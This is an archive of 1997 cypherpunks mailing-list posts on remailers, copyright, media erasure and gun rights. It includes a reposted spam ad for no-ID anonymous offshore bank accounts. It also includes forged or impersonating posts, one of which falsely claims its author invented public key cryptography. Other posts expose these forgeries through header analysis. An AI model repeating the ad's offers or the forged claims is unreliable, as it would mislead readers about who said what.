
From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Stephen Cobb, CISSP" <stephen@iu.net>
Date: Thu, 3 Jul 1997 03:35:50 +0800
To: coderpunks@toad.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>
Message-ID: <3.0.2.32.19970702153109.00738038@iu.net>
MIME-Version: 1.0
Content-Type: text/plain



At 10:56 AM 6/29/97 -0700, you wrote:
>While reading the latest issue of Dr. Dobbs, I found something of interest...
>
>Dr. Dobbs Essential Books on Cryptography and Security CD-ROM
>Price $99.95
>
>It is supposed to be shipping in July.

Thanks for the tip. Sounds great. I just ordered mine.

Readers accustomed to "instant gratification" are warned that the publisher
is now saying "you should receive it by August 1."

Stephen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Jul 1997 08:06:21 +0800
To: cypherpunks@toad.com
Subject: Interesting anonymous off-shore banking ad
Message-ID: <s3B99D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



I just came across the following ad on Usenet.
For all I know this could be an El Federales troll.
I'm reposting it because I thought it might be of interest. I know
nothing more about it.

From: OMG-OFFSHORE <omg@theoffice.net>
Newsgroups: alt.business.home.pc,alt.business.offshore,alt.business.import-exp
xt,alt.business.misc,misc.entrepreneurs,can.atlantic.biz,misc.forsale.non-comp
xtr,biz.next.newprod,biz.marketplace.non-computer,biz.americast,biz.comp,biz.c
xt.misc,biz.marketplace.international,biz.marketplace,biz.misc,biz.newgroup,bi
xtomp.services,can.atlantic.forsale,can.atlantic.general,can.com.misc,misc.inv
xt.marketplace,alt.internet.commerce,biz.univel.misc
Subject: ANONYMOUS BANKING!
Date: Tue, 01 Jul 1997 21:37:52 +0200



http://www.theoffice.net/omg

We have updated our site! 

START YOUR OWN OFFSHORE BANK!
Unlimited possibilities! Visit our site for more info.
You will be able to set up your offshore bank for less
than $10.000. The bank is registered in a major European
country. No additional capital or qualification requirements.

OFFSHORE BANKACCOUNT & CREDITCARD        
*No bank reference required              
*No minimum opening deposit
*No creditchecks
       
TOTALLY ANONYMOUS BANKACCOUNTS
*Not even the bank will know who you are
*No ID required for cash withdrawals

TOTALLY ANONYMOUS COMPANIES & CORPORATE BANKACCOUNTS
*Your name will not show up anywhere
*Complete with corporate bankaccount
        
ACCEPT CREDITCARDS
*No Business history required
*No monthly minimum
*Not restricted to the United States
*Mail order & Internet businesses accepted
        
        
Visit our site at http://www.theoffice.net/omg
         
-- 
********************************************************************
                       OMG-OFFSHORE INC.
Offshore bank accounts * Offshore company formations * 2nd Passports 

http://www.theoffice.net/omg                mailto:omg@theoffice.net 
********************************************************************

(As our Okrainian colleagues put it, "Za sho kupyv, za to prodav". -DV)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 3 Jul 1997 03:38:14 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <19970702100000.40925@bywater.songbird.com>
Message-ID: <Pine.GSO.3.95.970702152915.27206B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 2 Jul 1997, Kent Crispin wrote:

> The Evil One can always masquerade as the next to the last remailer, 
> with suitably altered date fields or whatever.  I wasn't thinking in 
> terms of traffic analysis -- I was thinking in terms of guaranteeing 
> that the last remailer in the chain, the one that actually delivers 
> the message, cannot be predicted in advance.

Well, to make the remailers more intelligent, have them count incoming
mail from the list of remailers participating in the system.  (either that
or a rate)  when one remailer seems to be sending much more mail than the
others (which shouldn't happen if all remailers are randomly distributing
the mail to each other)  you automatically do the random forward to
another remailer.

There still exists a problem if a coordinated attack on the whole system
occurs, with large amounts of mail seeking to discredit a group of
remailers at once...

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Jul 1997 08:09:22 +0800
To: cypherpunks@toad.com
Subject: They want your keys
Message-ID: <4Bc99D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



A former federal organized-crime prosecutor in Los angeles has pleaded guilty
to three felony charges in a scandal involving death threats, hundreds of
thousands of dollars' worth of fraud and the acceptance of cash payments 
from defendants.

The former prosecutor, Andrew Pitt, 39, faces between 24 and 30 months in a
federal prison. Last month Pitt filed a sworn statement admitting, among other
things, that he had taken $98,000 from one infrmer facing criminal charges 
and $35,000 from another. He said he then recommended probation, instead of 
a prison sentence, for the first informer and repeatedly asked that the second
informer be given additional time at large before reporting to prison. In 
addition Pitt admitted taking $33,000 from an illegal stock deal and transferr
it to his own account.

But Securities and Exchanges commission charged that Pitt also obtained at
least $400,000 in illegal profits by manipulating stock in a company he
controlled while serving as a prosecutor. And federal officials also charged
that Pitt was associated with a group of stock swindlers who went to Montreal
in 1995 with $350,000 to bribe people described in an indictment as "belived
to be" Quebec government officials.

A former assistant Los Angeles district attorney, Pitt was hired in 1988 as a
prosecutor with a federal organized-crime task force  The task force was
merged the following year with the U.S. attorney's office. Pitt was the lead
prosecutor in a high-profile case lining organized crime to the recording
business.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (BigNuts)
Date: Thu, 3 Jul 1997 05:53:03 +0800
To: cypherpunks@toad.com
Subject: Good Cop/Bad Cop
Message-ID: <199707022134.PAA16114@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



sampler-request@lmboyd.com wrote:
> ======================================================

>  TV ratings now indicate more people hate outlaw
> characters and admire police characters. Curiously,
> though, the police they admire most are the ones who act
> like outlaws."

> ==============================================
> LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email
> http://www.LMBoyd.com/postscript.htm

  The above apparently applies to politicians, as well.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (BigNuts)
Date: Thu, 3 Jul 1997 05:52:54 +0800
To: cypherpunks@toad.com
Subject: Re: Liberating the Bits
Message-ID: <199707022134.PAA16117@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Michael Stutz wrote:
> On Tue, 1 Jul 1997, Tim May wrote:
> 
> > Technology liberates the bits.
> 
> Copyright law is not only useless on the net but inefficient; one need only
> compare the performance of free, copylefted software versus proprietary,
> closed software to see which is better. But now it is possible to apply the
> same principle of copyleft to _all_ non-software information, too --
> including text, images and music. I have done this myself with novels and
> albums of music, and have posted full instructions on how to apply this to
> non-software information at <http://dsl.org/copyleft/>.

  Tim gave excellent information on how one can go about using 
technology to enjoy the fruits of other people's labour without 
contributing toward the survival of those producing the things
he enjoys.
 (I, being more niggardly, will refuse to share a technique I developed
for stealing money from a blind beggar's cup and candy from a child's
Halloween bag.)

  Michael is right about technology and the InterNet now making it
possible to circumvent the principle represented by copyright law.
  When I originally came up with the concept of BlackNet and 
anonymous remailers, I foresaw that my invention of Public Key
Cryptography might help make it possible for ordinary people to reap
the benefits of other peoples' ideas and hard work, without doing
anything to contribute toward the survival of creative, productive
people.

  Although a person *can* enjoy the product of other peoples' efforts
without contributing toward the production of that product, the decision
as to whether they *should* do so should not be taken lightly.
  I believe that we live in a predatorial universe and that everything
we do involves some form of "eating" the life forms around us, whether
we do so physically, emotionally, or mentally. Whether the process
involves hunting what already exists, or growing new life forms by
farming, our future quality of life will depend on the quality of 
resource management done by ourself and others.

  There is undoubtedly an increased cost for certain software, music
albums, etc, because of the theft and coercion of the companies that
dominate an industry (via bribes, collusion, political donations),
but there is also a fixed cost that needs to be met for these products
to continue existing and developing.
  There is also a minimum level of sustenance needed by those who
produce the products we use, and if this is not met, then they cease
producing those products. If you copy George Strait's albums without
putting a few pennies in his pocket, it is not likely to inhibit his
market enough to matter, but if you do the same with an album by a
group who is living in a station-wagon between gigs, then you might
find yourself wondering "What ever happened to 'Psychotic Losers'?"
  I bought Microsoft Word because I like the product and use it
a lot. Other Microsoft programs that I use occassionally, I just
grab a copy from someone else because it's not worth my while
to pay big money for it and I don't want to waste my time and effort
using a product which doesn't fit into their proprietary scheme.
  (I apply the same standards to stealing children's Halloween candy.
I only steal from fat kids, and I don't take the whole bag. I want
to make it worth their while to go trick-or-treating next year.)

  I can understand that Tim May wants to hang on to the mountain of
cash that was made possible by his company's software copyrights, 
but I am surprised that he seems so boastful about denying others
any compensation for their ideas, talent, and labour.

  The Internet seems to be moving proprietary software more toward
a shareware/freeware attitude, since some companies are seeing the
benefit of making their product widely available. An example is
Microsoft making a file available for people without their product
to read the documents produced with it.
  I suspect that the technology which allows most information to
be set free from the bondage of copyright will lead to a more 
balanced playing field where it is harder for a company to keep
their prices artificially high by virtue of market domination
and political pull, but there will always remain a need for those
who create and produce to receive compensation for doing so.

There's something wrong when Janet Reno is not 
a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
TruthMonger #1              | Crypto Anarchy: encryption, digital money,
tm@dev.null    408-728-0152 | anonymous networks, digital pseudonyms,
zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"Reputation Capital isn't even a speed bump to Identity highway
robbery."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 3 Jul 1997 04:02:20 +0800
To: cypherpunks@toad.com
Subject: This was forged:: Re: This is NOT trespassing.
In-Reply-To: <m0wct7B-000DDHC@mail.torfree.net>
Message-ID: <Pine.SUN.3.96.970702155127.14343H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



Looking through a shitload of old messages, looks like someone decided to
write some mail in my own name.  Carefully looking at the headers shows
that this was sent through torfree.net or something, and didn't orginate
here.

Too bad I didn't spot this earlier...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================


 =============================


 From sunder@brainlink.com Sat Jun 14 09:46:14 1997
Received: from mail.torfree.net (root@danforth.torfree.net [199.71.188.17]) by beast.brainlink.com (8.8.5/8.6.12) with SMTP id JAA03645 for <sunder@brainlink.com>; Sat, 14 Jun 1997 09:46:13 -0400 (EDT)
From: Ray Arachelian <sunder@brainlink.com>
Received: from brainlink.com ([153.35.233.146]) by mail.torfree.net
						^^^^^^^^^^^^^^^^^^^
	(/\==/\ Smail3.1.28.1 #28.8; 15-jan-97)
	via sendmail with smtp id <m0wct7B-000DDHC@mail.torfree.net>
	(sender sunder@brainlink.com)
	for <sunder@brainlink.com>; Sat, 14 Jun 97 09:43 EDT
Message-Id: <m0wct7B-000DDHC@mail.torfree.net>
Date: Sat, 14 Jun 97 09:43 EDT
Apparently-From: <sunder@brainlink.com>
Apparently-To: <sunder@brainlink.com>
Subject: This is NOT trespassing.
Comment: Authenticated sender is <sunder@brainlink.com>
Status: RO
X-Status: 

Did you pay for your TV?  Do you buy electricity by the KWH?
Pay a monthly cable bill?  If so, then why isn't a television 
commercial considered theft of your televised resources?

Doesn't it cost something to ride the bus?  Then why aren't
the public transport's advertisers guilty of stealing your
wallspace?

What about newspapers, magazines, radio stations, going to
the movies, driving on any road, almost any PAID activity in
life?  Each has its attendent advertisments and commercials.

We PAY for an enormous percentage of solicitations.  Everyday.

>>>>>>>  WHY SHOULD YOUR EMAIL BOX BE ANY DIFFERENT?  <<<<<<<

Fact is, it isn't.  Nor will it ever be.  When you make any
contact in public via any media or communication form, there
will come invitations, solicitations, possibly vexations and
the like.  It's one of the prices we must pay in order to be
able to communicate at all.  








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 3 Jul 1997 08:18:23 +0800
To: 3umoelle@informatik.uni-hamburg.de (Ulf Möller)
Subject: Re: Degaussing
In-Reply-To: <19970702021749.17094.qmail@squirrel.owl.de>
Message-ID: <3.0.2.32.19970702160205.0310cb98@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> Could someone please point me to a FAQ or somesuch about degaussing
>> magnetic media? Thank you!
> http://www.cs.auckland.ac.nz/~pgut001/secure_del.html 

Thanks for posting a marvelous reference on erasing media.
Technology changes have a substantial effect on what's
adequate and what's not.  Back in the mid-late 80s, 
when I was a tool of the military-industrial complex, 
we had the offical rules for declassifying media;
I think they were from Army Reg 380-380.

For disk drives and magtapes, you had the choice of
physical destruction, running an NSA-approved overwrite program,
or using an NSA-approved BF magnet for degaussing.
We didn't have an approved program for Vax UNIX,
not that I would have trusted it to clean mapped-out bad sectors,
and any magnet that could suck the bits off a hard disk
was bigger than I was going to allow near my computers
or mag tape collection, thank you very much.

Floppy disks make a satisfying squooshy sound in a shredder;
remember to take the cardboard jacket off the floppy first.
Reeling out 9-track tape into a shredder is boring, but works.
I was no longer around when they sandblasted the RM05 packs,
but the sysadmin after me had a good time doing it,
and instead of the usual head-crashed RM05 platter on her wall,
she had one that was sandblasted real clean :-)

For memory, you needed to run an NSA-approved program
on your machine that would overwrite each byte three (?) times;
the trick was making sure your operating system would let you
get at everything, and of course moving the program while it
was running so it wouldn't overwrite itself.
I don't know if anyone remembered to do that after decommissioning
the VAX; we didn't do it when switching between the classified 
operating system diskpacks and the VMS maintenance system,
but we still maintained physical control of the system so it was OK.

Technology changes make a lot of difference in how you operate;
When we were using Vaxen with large RM05 removable disks,
we'd keep the main copy of the operating system up and running,
and needed to pay a lot of attention to security (in spite of most
of our users having the root password :-), and the disk packs
took up lots of space in the safe.  Later we started using PCs,
and any special project that didn't want to run on the main Vax
just kept a few floppies in the safe, or if it had a hard disk,
they could put the whole PC in the safe.  With Sun workstations,
we switched over to using shoebox disks, which were very convenient...
Now if I were in that business, I suppose I'd use Jazz drives,
or the large Syquest drives, and keep the operating system
on a read only hard drive...


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 3 Jul 1997 04:19:22 +0800
To: "Stephen Cobb, CISSP" <stephen@iu.net>
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970702153109.00738038@iu.net>
Message-ID: <Pine.SUN.3.96.970702161123.14343M-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 2 Jul 1997, Stephen Cobb, CISSP wrote:

> Thanks for the tip. Sounds great. I just ordered mine.
> 
> Readers accustomed to "instant gratification" are warned that the publisher
> is now saying "you should receive it by August 1."

I just ordered mine, they said mid July...  

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 3 Jul 1997 07:37:52 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Return of Huge Cajones Remailer
In-Reply-To: <199707022134.PAA16117@wombat.sk.sympatico.ca>
Message-ID: <3.0.2.32.19970702161745.03104c54@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I was interested to see the following headers in a posting to the net.
It's _pretending_ to be from the now-defunct huge.cajones.com remailer,
though it's in fact from Canada.


=================== HEADERS =========
Return-Path: <owner-cypherpunks@cyberpass.net>
Received: from sirius.infonex.com (sirius.infonex.com [206.170.114.2]) by
ixmail8.ix.netcom.com (8.7.5/SMI-4.1/Netcom)
	id OAA10170; Wed, 2 Jul 1997 14:49:48 -0700 (PDT)
Received: (from majordom@localhost) by sirius.infonex.com (8.8.5/8.7.3) id
OAA28296 for cypherpunks-outgoing; Wed, 2 Jul 1997 14:41:51 -0700 (PDT)
Received: (from cpunks@localhost) by sirius.infonex.com (8.8.5/8.7.3) id
OAA28278 for cypherpunks@infonex.com; Wed, 2 Jul 1997 14:41:43 -0700 (PDT)
Received: from rigel.cyberpass.net (root@rigel.infonex.com [206.170.114.3])
by sirius.infonex.com (8.8.5/8.7.3) with ESMTP id OAA28270 for
<cpunks@sirius.infonex.com>; Wed, 2 Jul 1997 14:41:40 -0700 (PDT)
Received: from toad.com (toad.com [140.174.2.1]) by rigel.cyberpass.net
(8.8.5/8.7.3) with ESMTP id OAA18801 for <cypherpunks@cyberpass.net>; Wed,
2 Jul 1997 14:39:54 -0700 (PDT)
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id OAA08059
for cypherpunks-unedited-outgoing; Wed, 2 Jul 1997 14:37:28 -0700 (PDT)
Received: from wombat.sk.sympatico.ca (wombat.sk.sympatico.ca
[142.165.5.136]) by toad.com (8.7.5/8.7.3) with ESMTP id OAA08053 for
<cypherpunks@toad.com>; Wed, 2 Jul 1997 14:37:23 -0700 (PDT)
Received: from smtp.sk.sympatico.ca (lohner48.sk.sympatico.ca
[142.165.98.48]) by wombat.sk.sympatico.ca with SMTP (8.7.1/8.7.1) id
PAA16117 for cypherpunks@toad.com; Wed, 2 Jul 1997 15:34:01 -0600 (CST)
Message-Id: <199707022134.PAA16117@wombat.sk.sympatico.ca>
Date: Wednesday, 02 Jul 97 15:37:06 EST
To: cypherpunks@toad.com
From: nobody@huge.cajones.com (BigNuts)
X-Mailer: WinSock Remailer Version ALPHA1.3B
X-Comments: -
X-Comments: This message contains no headers. If you think you see
X-Comments: something here, it's probably just the drugs kicking in.
X-Comments: Ignore it...
X-Comments: -
X-Comments: This message is NOT from <president@whitehouse.gov>.
X-Comments: It was remailed by an automated anonymous asshole.
X-Comments: Send all complaints and requests for blocking to 
X-Comments: <DaveNull@dave.nul>.
X-Comments: -
X-Remailer-Setup: Maximum Message Size -- None
X-Remailer-Setup: Reordering is OFF
X-Remailer-Setup: News Posting DISABLED
X-Remailer-Setup: Subject Header KEPT
X-Remailer-Setup: Logging OFF
X-Remailer-Setup: PGP and plaintext messages accepted
Subject: Re: Liberating the Bits
Sender: owner-cypherpunks@cyberpass.net
Precedence: bulk
Reply-To: nobody@huge.cajones.com (BigNuts)
X-List: cypherpunks@cyberpass.net
X-Loop: cypherpunks@cyberpass.net

======== END OF HEADERS ==========

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <ssandfort@ATTMAIL.COM>
Date: Thu, 3 Jul 1997 07:40:08 +0800
To: cypherpunks@toad.com
Subject: Re: Liberating the Bits
Message-ID: <199707022250.QAA25437@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



BigNuts wrote:
>  I can understand that Tim May wants to hang on to the mountain of
>cash that was made possible by his company's software copyrights, 
>but I am surprised that he seems so boastful about denying others
>any compensation for their ideas, talent, and labour.

  I have to agree with Tim that ideas have no worth and we should
not compensate those that share them. Once anything is made public
it should be up for grabs by anyone who wants to use it for any
purpose they desire.
  Enforcement of copyright laws only denies the world access to
such treasures as "Cyhpernomicon" by Toto, which I recently 
found on a few websites. It had pointers to where one could
purchase the "Official CypherPunk" T-shirts and mugs, as well
as information about how to make donations to Toto's "GreenPeace"
foundation.

"All your private property is target for your enemies."
   -Jefferson Airplane

There's something wrong when Kent Crispin is not 
a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Sandy Sandfort            | Crypto Anarchy: encryption, digital money,
ssandfort@ATTMAIL.COM     | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA| knowledge, reputations, information markets,
Higher Power: 2^1398269   | black markets, collapse of governments.
"Reputation Capital isn't even a speed bump to Identity highway
robbery."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Thu, 3 Jul 1997 05:16:10 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Copyright / Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <Pine.LNX.3.91.970702180139.648A-100000@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.94.970702164600.10082B-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 2 Jul 1997, Paul Bradley wrote:

> >   Technology may well enable us to take the product and give
> > nothing in return to those who made it available, but doing so
> > will not further our own beliefs and aims to any extent.
> 
> Again, this is the right way to think of "intellectual property", not as 
> real tangiable property which can, or even should be protected, but as a 
> bond of trust between provider and end user, if you rip off a copy of my 
> s/w and decide you like it, why not buy a copy? The same is true of 
> music, source code, hard-copy books etc...

This is why I favor copylefting all information, software and otherwise. If
a computer program is copyrighted it cannot be easily shared or improved,
while copyleft encourages this. Same for music, texts and other works -- if
a song is released under the terms of the GNU GPL or similar copyleft, I am
free to copy and modify that song as I see fit, which includes making DATs,
burning my own CDs and performing improvisations to the song (whose
transcriptions could be likened to its "source code," of which I am free to
improve upon as I see fit). The artist can be supported by purchasing hard
copy of the music (CDs etc) from her/him, as well as posters, t-shirts and
other paraphernalia (as well as outright donation), but I am no longer
restricted by the scourge of copyright law and the fictitious construct of
"intellectual property" in my thoughts and communications about the work; I
am free to share my thoughts and communications with others.


Michael Stutz
http://dsl.org/m/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 3 Jul 1997 01:22:19 +0800
To: Tim May <tcmay@got.net>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <v03102805afdee15fe080@[207.167.93.63]>
Message-ID: <Pine.LNX.3.91.970702171335.474C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> - Hanging--very quick and very painless (the neck is snapped, and
> consciousness vanishes)

Actually it was only relatively recently that this became the case, I 
believe it was either William Calcraft or one of the Pierrepont family 
who perfected the drop calculation method of hanging (both families were 
British executioners, Calcraft at Newgate prison and the Pierreponts at 
various places over a long period of time), before that it was quite 
common for the condemned to either choke to death if the drop was too 
short, or to be beheaded if it was too long. Newgate prison is 
incidentally the same place where as late as 1789 people were burnt to 
death for witchcraft, sophisticated England huh? ;-)... 

> - Electrocution--originally designed to render subject unconscious almost
> immediately. Whether it does this merits discussion, but the original
> intent was surely for a "scientific" fast death (just as the guillotine was
> similarly designed)

I don`t know the exact figure but I seem to remember a US execution using 
the electric chair which took over 40 minutes to complete? I believe a 
typical time from current on to unconsciousness is around 2 minutes?

> >I can see the point of view which accepts serving of sentence as being
> >the end of punishment, and I do not accept a ban on firearms as being
> >implicit in the commision of a felony, but if a court explicitly states
> >that part of the punishment should be a X year or lifetime ban I can
> >accept that.
> 
> Does this mean that you would "accept" a wording which took away a released
> convict's ability to speak freely, or to practice the religion of his
> choice?

No, speech or practice of religion are not of the same ilk as the right 
to own firearms, I am definitely on thin ice here, and I admit I am not 
entirely certain of my own perspective, BUT I cannot see how someone 
convicted of armed robbery should be allowed the right to own firearms again.
A person convicted of a violent armed crime is just not in the same 
league as an innocent citizen, and should not have the same rights.

 
> ("Upon completion of your 6-month sentence for public blasphemy, you 
> must renounce Baalism and accept the religion so ordered by the court.")
> 
> Why is this any different from taking away Second Amendment rights? 

See the above, I refer you to the danger of a person who has already 
proven their disregard for the rights of others being allowed to own weapons.

> But how does a lifetime, blanket ban on possession of firearms--i.e., a 
> complete denial of Second Amendment rights--for any of tens of thousands
> of claimed "felonies" fit with this "compelling need" model? What's the
> compelling need for the state to deny Second Amendment rights for life
> to someone convicted of fraud or money laundering? 

Tim, you are either taking me out of context or overgeneralising my 
statement, as I know you are not of the second persuation I will assume 
the first and re-iterate that I do not believe in the restriction of 
second ammendment rights for people convicted of felonies in general, 
only for those convicted of serious violent crimes. And I do not believe 
in a lifetime blanket ban, ie. "All convicted armed robbers shall never 
be allowed to posess firearms again", I believe a court should be able to 
use its own discretion to decide a fitting punishment, ie. "You shall be 
sentenced to 5 years imprisonment and a 10 year ban on ownership of 
firearms".


> The compelling need appears to be related to the general trend of 
> disarming as many of the marks as possible, as soon as possible. 
> (I understand, Paul, that you are not a U.S. citizen, but this is the 
> framework for the current discussion.) 

This is an evident trend in most of the world, with the UK following the 
path of the US. For many years it has been the case that on the commision 
of any crime, even for example drink-driving, or common assult (a UK 
offence classification for the most trivial of assult cases, ie. hitting 
someone), the right to own guns is immediately removed and never 
returned, even when the offence is spent under the rehabilitation act. I 
recall my own father having trouble obtaining a firearms licence some 
years ago because of a drink-drive conviction some 20 years earlier...

I will state once more though, and attempt not to post again on this 
thread as I don`t want a flame war, that I do not support or condone 
general loss of 2nd ammendment rights for any and all felonies in 
general, only for serious violent crimes and then at the discretion of a 
court and not as some pre-set standard penalty.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 3 Jul 1997 11:52:19 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: random remailer forwarding (Was: Jeff's Side of the Story.)
In-Reply-To: <19970702100000.40925@bywater.songbird.com>
Message-ID: <3.0.2.32.19970702174350.0311cbf4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 03:32 PM 7/2/97 -0400, Ryan Anderson wrote:
>Well, to make the remailers more intelligent, have them count incoming
>mail from the list of remailers participating in the system.  (either that
>or a rate)  when one remailer seems to be sending much more mail than the
>others (which shouldn't happen if all remailers are randomly distributing
>the mail to each other)  you automatically do the random forward to
>another remailer.

That's a way to guarantee that the remailers that aren't working
get more of the traffic.....

:-)

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM7r1xfthU5e7emAFAQHsCwH/eB0TRsFrGQZEmbeVmjENFRdFgPjAVJ3+
g5gwuraubYuU4XRtv7n6H/RDpfJLeljfknP4CYGQa5PTUqxTqk8FVw==
=a3Fs
-----END PGP SIGNATURE-----


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 3 Jul 1997 09:18:40 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <v03102805afdee15fe080@[207.167.93.63]>
Message-ID: <19970702180331.11847@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jul 02, 1997 at 08:50:25PM -0400, frissell@panix.com wrote:
>At 05:32 PM 7/2/97 +0000, Paul Bradley wrote:
>>No, speech or practice of religion are not of the same ilk as the right 
>>to own firearms, I am definitely on thin ice here, and I admit I am not 
>>entirely certain of my own perspective, BUT I cannot see how someone 
>>convicted of armed robbery should be allowed the right to own firearms 
>again.
>>A person convicted of a violent armed crime is just not in the same 
>>league as an innocent citizen, and should not have the same rights.
>
>Quite simple.  Eliminate prison, encourage everyone to carry weapons, wait 6 
>months, then well behaved people will predominate and many of the maladjusted 
>will find themselves well-adjusted or dead.

Along with a far larger number of well-adjusted innocents.  And the 
maladjusted who aren't dead will be in power.

>Rough 6 months.  Try to spend it in the South of France.
>
>This may be the de facto eventuality as nanotech develops.  If the soccer 
>moms are afraid of assault rifles, how will they react to the nastiness you 
>will be able to gin up from you desktop fab station in a few years.

No question about it, the only hope for the human race is wide
dispersal.  Everybody should join the L5 society, if it still exists,
or become a terrorist Luddite, and bomb us back to the stone age.

But the Earth is doomed, anyway, in 5 billion years.  And we have
either the grand crunch or the heat death of the universe to contend
with after that.  Hopeless.

"The root of greed is fear."

"There is something right when Kent Crispin is not a felon under an 
increasing number of laws."

-- 
Kent Crispin				"No reason to get excited",
